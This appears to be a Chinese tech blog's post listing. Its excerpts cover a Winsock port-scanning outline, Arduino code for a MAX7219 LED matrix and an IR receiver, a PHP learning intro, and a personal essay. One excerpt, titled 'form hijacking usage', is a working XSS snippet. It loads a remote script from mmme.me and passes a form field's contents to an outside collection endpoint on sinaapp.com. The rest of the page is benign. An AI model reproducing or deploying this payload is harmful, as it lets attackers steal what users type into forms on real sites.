【例】c++ 端口扫描 winsock 初识

WINSOCK C/S的建立过程:
      服务器                         客户端
 ________________________________________________
 1   初始化WSA                       初始化WSA
 ____________________________________________________
 2   建立一个SOCKET                  建立一个SOCKET
 _____________________________________________________
 3   绑定SOCKET                      连接到服务器
 _____________________________________________________
 4   在指定的端口监听                发送和接受数据
 _____________________________________________________
 5   接受一个连接                     断开连接
 ______________________________________________________-
 6   发送和接受数据
 ___________________________________________________
 7   断开连接

继续阅读

[Arduino]arduino 直接驱动MAX7219 8X8led点阵 红外接收

int clk =2;
int cs=3;
int din=4;
unsigned char disp1[38][8]={
{0x3C,0x42,0x42,0x42,0x42,0x42,0x42,0x3C},//0
{0x10,0x18,0x14,0x10,0x10,0x10,0x10,0x10},//1
{0x7E,0x2,0x2,0x7E,0x40,0x40,0x40,0x7E},//2<!--more-->


{0x3E,0x2,0x2,0x3E,0x2,0x2,0x3E,0x0},//3
{0x8,0x18,0x28,0x48,0xFE,0x8,0x8,0x8},//4
{0x3C,0x20,0x20,0x3C,0x4,0x4,0x3C,0x0},//5
{0x3C,0x20,0x20,0x3C,0x24,0x24,0x3C,0x0},//6
{0x3E,0x22,0x4,0x8,0x8,0x8,0x8,0x8},//7
{0x0,0x3E,0x22,0x22,0x3E,0x22,0x22,0x3E},//8
{0x3E,0x22,0x22,0x3E,0x2,0x2,0x2,0x3E},//9
{0x8,0x14,0x22,0x3E,0x22,0x22,0x22,0x22},//A
{0x3C,0x22,0x22,0x3E,0x22,0x22,0x3C,0x0},//B
{0x3C,0x40,0x40,0x40,0x40,0x40,0x3C,0x0},//C
{0x7C,0x42,0x42,0x42,0x42,0x42,0x7C,0x0},//D
{0x7C,0x40,0x40,0x7C,0x40,0x40,0x40,0x7C},//E
{0x7C,0x40,0x40,0x7C,0x40,0x40,0x40,0x40},//F
{0x3C,0x40,0x40,0x40,0x40,0x44,0x44,0x3C},//G
{0x44,0x44,0x44,0x7C,0x44,0x44,0x44,0x44},//H
{0x7C,0x10,0x10,0x10,0x10,0x10,0x10,0x7C},//I
{0x3C,0x8,0x8,0x8,0x8,0x8,0x48,0x30},//J
{0x0,0x24,0x28,0x30,0x20,0x30,0x28,0x24},//K
{0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x7C},//L
{0x81,0xC3,0xA5,0x99,0x81,0x81,0x81,0x81},//M
{0x0,0x42,0x62,0x52,0x4A,0x46,0x42,0x0},//N
{0x3C,0x42,0x42,0x42,0x42,0x42,0x42,0x3C},//O
{0x3C,0x22,0x22,0x22,0x3C,0x20,0x20,0x20},//P
{0x1C,0x22,0x22,0x22,0x22,0x26,0x22,0x1D},//Q
{0x3C,0x22,0x22,0x22,0x3C,0x24,0x22,0x21},//R
{0x0,0x1E,0x20,0x20,0x3E,0x2,0x2,0x3C},//S
{0x0,0x3E,0x8,0x8,0x8,0x8,0x8,0x8},//T
{0x42,0x42,0x42,0x42,0x42,0x42,0x22,0x1C},//U
{0x42,0x42,0x42,0x42,0x42,0x42,0x24,0x18},//V
{0x0,0x49,0x49,0x49,0x49,0x2A,0x1C,0x0},//W
{0x0,0x41,0x22,0x14,0x8,0x14,0x22,0x41},//X
{0x41,0x22,0x14,0x8,0x8,0x8,0x8,0x8},//Y
{0x0,0x7F,0x2,0x4,0x8,0x10,0x20,0x7F},//Z
{0x8,0x7F,0x49,0x49,0x7F,0x8,0x8,0x8},//中
{0xFE,0xBA,0x92,0xBA,0x92,0x9A,0xBA,0xFE},//国
};

void setup(){
  pinMode(cs,OUTPUT);
  pinMode(clk,OUTPUT);
  pinMode(din,OUTPUT);
  Init_MAX7219();
}
void loop(){
  char i,j;
//Write_Max7219(0x0f, 0x00);
//Delay_xms(500);

  for(j=0;j<37;j++)
  {
   for(i=1;i<9;i++)
    Write_Max7219(i,disp1[j][i-1]);
   delay(1000);
  }
  
}

void Write_Max7219_byte(char DATA)         
{
            char i;   
                digitalWrite(cs,0);               
            for(i=8;i>=1;i--)
          {                  
           digitalWrite(clk,0);
            if((DATA&0x80)>0){digitalWrite(din,1);}
            else{digitalWrite(din,0);}
            //提取最高位给DIN端口
            DATA=DATA<<1;//左移一位
            digitalWrite(clk,1);
           }                                 
}
void Write_Max7219(char address,char dat)
{
         digitalWrite(cs,0);
         Write_Max7219_byte(address);           //写入地址,即数码管编号
     Write_Max7219_byte(dat);               //写入数据,即数码管显示数字
         digitalWrite(cs,1);                        
}
void Init_MAX7219(void)
{
Write_Max7219(0x09, 0x00);//译码方式:BCD码
Write_Max7219(0x0a, 0x01);//亮度
Write_Max7219(0x0b, 0x07); //扫描界限;8个数码管显示
Write_Max7219(0x0c, 0x01);  //掉电模式:0,普通模式:1
Write_Max7219(0x0f, 0x00);
delay(500); //显示测试:1;测试结束,正常显示:0
}
////////////////红外接收///////////////////////////////
//本例来自于红外接收模块的IRremote自带范例
/*
 * IRremote: IRrecvDemo - demonstrates receiving IR codes with IRrecv
 * An IR detector/demodulator must be connected to the input RECV_PIN.
 * Version 0.1 July, 2009
 * Copyright 2009 Ken Shirriff
 * [url]http://arcfn.com[/url]
 */
 
#include <IRremote.h>
 
int RECV_PIN = 11;//定义红外接收器的引脚为11
 
IRrecv irrecv(RECV_PIN);
 
decode_results results;
 
void setup()
{
  Serial.begin(9600);
  irrecv.enableIRIn(); // 初始化红外接收器
}
 
void loop() {
  if (irrecv.decode(&results)) {
    Serial.println(results.value, HEX);//以16进制换行输出接收代码
    Serial.println();//为了便于观看输出结果增加一个空行
    irrecv.resume(); // 接收下一个值
  }
}

转自极客工坊id:guangliang825

劫持表单用法

<!doctype html>
<html>
<head>
<script src=http://mmme.me/xss.js></script>
</head>
<body>
<form id=”a” action=”http://www.baidu.com” method=”post”>
<input name=”screenshot”>
<input type=submit>
</form>
<script>
xss.xform(screenshot,’http://googleweb.sinaapp.com/index.php?do=api&id=Quqe6r’);
</script>
</body>
</html>

php快速结构化开发

如果你使用一面大镜子作为冲浪板会发生什么?或许你会在较短的时间内征服海浪,但是你肯定从内心深处明白,这不是冲浪的正确选择。同样的道理也适用于PHP编程,尽管这样的类比听起来有一些古怪。我们经常听到有人试图用一个周末多点的时间来学会PHP,但是请恕我直言,这是学习这门编程语言的一种非常糟糕的方式。

为何说学习PHP的过程有别于任何其它语言?

就其本质而言,如果你掌握了以PHP语言“做事”的方式,那么在使用它时就会得心应手,因此值得你去投入精力去了解这些方式。在PHP中,单纯按照自己思路去解决问题往往会是一种错误的办法。这并不是因为你是一个糟糕的程序员,而是因为如果你想写出好的可维护性强的代码,有些标准技巧是你必须要使用的。下面让我们一起看一下你需要知道的10大技巧。
继续阅读

【转】你的第二身份是什么?

张君从英国留学回来,几个好友为他设宴洗尘。席间,一个朋友不雅的口头禅使他很不快,几次露出厌恶的表情。席散送张君回家的路上,我替那位朋友解释说,那句口头禅不过是无所指的语言习惯,听惯了也就不觉得什么了。张君沉默了一会儿说:“我给你讲一下我刚到英国时的经历吧!”
继续阅读